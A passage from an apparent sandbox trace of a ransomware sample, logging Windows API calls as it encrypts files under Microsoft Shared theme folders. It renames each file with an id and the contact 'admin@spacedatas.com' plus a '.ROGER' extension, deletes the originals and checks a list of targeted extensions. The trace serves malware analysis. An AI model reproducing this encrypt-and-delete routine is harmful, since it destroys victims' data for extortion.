lpNewFilePointer=0x0) returned 1 [0049.636] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0049.636] GetLastError () returned 0x0 [0049.636] ReadFile (in: hFile=0x390, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x4c45, lpOverlapped=0x0) returned 1 [0049.638] WriteFile (in: hFile=0x3ac, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x4c50, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x4c50, lpOverlapped=0x0) returned 1 [0049.639] ReadFile (in: hFile=0x390, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0049.639] WriteFile (in: hFile=0x3ac, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.639] SetEndOfFile (hFile=0x3ac) returned 1 [0049.639] CloseHandle (hObject=0x3ac) returned 1 [0049.640] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.640] SetEndOfFile (hFile=0x390) returned 1 [0049.641] CloseHandle (hObject=0x390) returned 1 [0049.641] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0049.641] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png")) returned 1 [0049.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0049.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0049.641] lstrlenW (lpString=".doc") returned 4 [0049.641] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.641] lstrlenW (lpString=".docx") returned 5 [0049.641] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.641] lstrlenW (lpString=".pdf") returned 4 [0049.641] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.641] lstrlenW (lpString=".xls") returned 4 [0049.641] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.641] lstrlenW (lpString=".xlsx") returned 5 [0049.641] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.641] lstrlenW (lpString=".ppt") returned 4 [0049.641] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0049.641] lstrlenW (lpString=".zip") returned 4 [0049.642] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.642] lstrlenW (lpString=".rar") returned 4 [0049.642] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.642] lstrlenW (lpString=".bz2") returned 4 [0049.642] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.642] lstrlenW (lpString=".7z") returned 3 [0049.642] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0049.642] lstrlenW (lpString=".dbf") returned 4 [0049.642] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0049.642] lstrlenW (lpString=".1cd") returned 4 [0049.642] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0049.642] lstrlenW (lpString=".jpg") returned 4 [0049.642] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0049.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0049.642] lstrlenW (lpString=".doc") returned 4 [0049.642] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.642] lstrlenW (lpString=".docx") returned 5 [0049.642] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.642] lstrlenW (lpString=".pdf") returned 4 [0049.642] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.642] lstrlenW (lpString=".xls") returned 4 [0049.642] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.642] lstrlenW (lpString=".xlsx") returned 5 [0049.642] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.642] lstrlenW (lpString=".ppt") returned 4 [0049.642] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0049.642] lstrlenW (lpString=".zip") returned 4 [0049.643] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.643] lstrlenW (lpString=".rar") returned 4 [0049.643] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.643] lstrlenW (lpString=".bz2") returned 4 [0049.643] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.643] lstrlenW (lpString=".7z") returned 3 [0049.643] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0049.643] lstrlenW (lpString=".dbf") returned 4 [0049.643] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0049.643] lstrlenW (lpString=".1cd") returned 4 [0049.643] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0049.643] lstrlenW (lpString=".jpg") returned 4 [0049.643] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.643] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0049.643] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0049.644] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=1737) returned 1 [0049.644] CloseHandle (hObject=0x390) returned 1 [0049.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif")) returned 0x20 [0049.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0049.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0049.644] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.644] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0049.687] GetLastError () returned 0x0 [0049.687] ReadFile (in: hFile=0x390, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x6c9, lpOverlapped=0x0) returned 1 [0049.688] WriteFile (in: hFile=0x3ac, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x6d0, lpOverlapped=0x0) returned 1 [0049.690] ReadFile (in: hFile=0x390, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0049.690] WriteFile (in: hFile=0x3ac, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.690] SetEndOfFile (hFile=0x3ac) returned 1 [0049.690] CloseHandle (hObject=0x3ac) returned 1 [0049.690] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.691] SetEndOfFile (hFile=0x390) returned 1 [0049.691] CloseHandle (hObject=0x390) returned 1 [0049.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0049.692] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif")) returned 1 [0049.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0049.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0049.692] lstrlenW (lpString=".doc") returned 4 [0049.692] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.692] lstrlenW (lpString=".docx") returned 5 [0049.692] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.692] lstrlenW (lpString=".pdf") returned 4 [0049.692] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.692] lstrlenW (lpString=".xls") returned 4 [0049.692] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.692] lstrlenW (lpString=".xlsx") returned 5 [0049.692] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.692] lstrlenW (lpString=".ppt") returned 4 [0049.692] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0049.692] lstrlenW (lpString=".zip") returned 4 [0049.692] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.692] lstrlenW (lpString=".rar") returned 4 [0049.692] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.692] lstrlenW (lpString=".bz2") returned 4 [0049.693] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.693] lstrlenW (lpString=".7z") returned 3 [0049.693] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0049.693] lstrlenW (lpString=".dbf") returned 4 [0049.693] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0049.693] lstrlenW (lpString=".1cd") returned 4 [0049.693] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0049.693] lstrlenW (lpString=".jpg") returned 4 [0049.693] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0049.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0049.693] lstrlenW (lpString=".doc") returned 4 [0049.693] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.693] lstrlenW (lpString=".docx") returned 5 [0049.693] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.693] lstrlenW (lpString=".pdf") returned 4 [0049.693] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.693] lstrlenW (lpString=".xls") returned 4 [0049.693] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.693] lstrlenW (lpString=".xlsx") returned 5 [0049.693] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.693] lstrlenW (lpString=".ppt") returned 4 [0049.693] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0049.693] lstrlenW (lpString=".zip") returned 4 [0049.693] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.693] lstrlenW (lpString=".rar") returned 4 [0049.693] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.693] lstrlenW (lpString=".bz2") returned 4 [0049.694] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.694] lstrlenW (lpString=".7z") returned 3 [0049.694] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0049.694] lstrlenW (lpString=".dbf") returned 4 [0049.694] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0049.694] lstrlenW (lpString=".1cd") returned 4 [0049.694] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0049.694] lstrlenW (lpString=".jpg") returned 4 [0049.694] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.694] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0049.694] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.694] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0049.694] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=33479) returned 1 [0049.694] CloseHandle (hObject=0x390) returned 1 [0049.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 0x20 [0049.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0049.695] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0049.695] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.695] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.695] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0049.695] GetLastError () returned 0x0 [0049.695] ReadFile (in: hFile=0x390, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x82c7, lpOverlapped=0x0) returned 1 [0049.697] WriteFile (in: hFile=0x3ac, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0x82d0, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0x82d0, lpOverlapped=0x0) returned 1 [0049.699] ReadFile (in: hFile=0x390, lpBuffer=0x4b80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x40ffed4, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesRead=0x40ffed4*=0x0, lpOverlapped=0x0) returned 1 [0049.699] WriteFile (in: hFile=0x3ac, lpBuffer=0x4b80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x40ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4b80020*, lpNumberOfBytesWritten=0x40ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.699] SetEndOfFile (hFile=0x3ac) returned 1 [0049.699] CloseHandle (hObject=0x3ac) returned 1 [0049.699] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 [0049.699] SetEndOfFile (hFile=0x390) returned 1 [0049.700] CloseHandle (hObject=0x390) returned 1 [0049.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0049.700] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\thmbnail.png")) returned 1 [0049.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0049.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0049.700] lstrlenW (lpString=".doc") returned 4 [0049.701] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.701] lstrlenW (lpString=".docx") returned 5 [0049.701] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.701] lstrlenW (lpString=".pdf") returned 4 [0049.701] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.701] lstrlenW (lpString=".xls") returned 4 [0049.701] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.701] lstrlenW (lpString=".xlsx") returned 5 [0049.701] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.701] lstrlenW (lpString=".ppt") returned 4 [0049.701] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0049.701] lstrlenW (lpString=".zip") returned 4 [0049.701] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.701] lstrlenW (lpString=".rar") returned 4 [0049.701] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.701] lstrlenW (lpString=".bz2") returned 4 [0049.701] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.701] lstrlenW (lpString=".7z") returned 3 [0049.701] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0049.701] lstrlenW (lpString=".dbf") returned 4 [0049.701] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0049.701] lstrlenW (lpString=".1cd") returned 4 [0049.701] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0049.701] lstrlenW (lpString=".jpg") returned 4 [0049.701] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0049.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0049.701] lstrlenW (lpString=".doc") returned 4 [0049.702] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.702] lstrlenW (lpString=".docx") returned 5 [0049.702] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.702] lstrlenW (lpString=".pdf") returned 4 [0049.702] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.702] lstrlenW (lpString=".xls") returned 4 [0049.702] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.702] lstrlenW (lpString=".xlsx") returned 5 [0049.702] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.702] lstrlenW (lpString=".ppt") returned 4 [0049.702] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0049.702] lstrlenW (lpString=".zip") returned 4 [0049.702] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.702] lstrlenW (lpString=".rar") returned 4 [0049.702] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.702] lstrlenW (lpString=".bz2") returned 4 [0049.702] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.702] lstrlenW (lpString=".7z") returned 3 [0049.702] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0049.702] lstrlenW (lpString=".dbf") returned 4 [0049.702] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0049.702] lstrlenW (lpString=".1cd") returned 4 [0049.702] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\THMBNAIL.PNG") returned 77 [0049.702] lstrlenW (lpString=".jpg") returned 4 [0049.702] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.703] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0049.703] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0049.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0049.703] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x40fff1c | out: lpFileSize=0x40fff1c*=1675) returned 1 [0049.703] CloseHandle (hObject=0x390) returned 1 [0049.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif")) returned 0x20 [0049.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0049.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0049.703] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x40ffec8 | out: lpNewFilePointer=0x0) returned 1 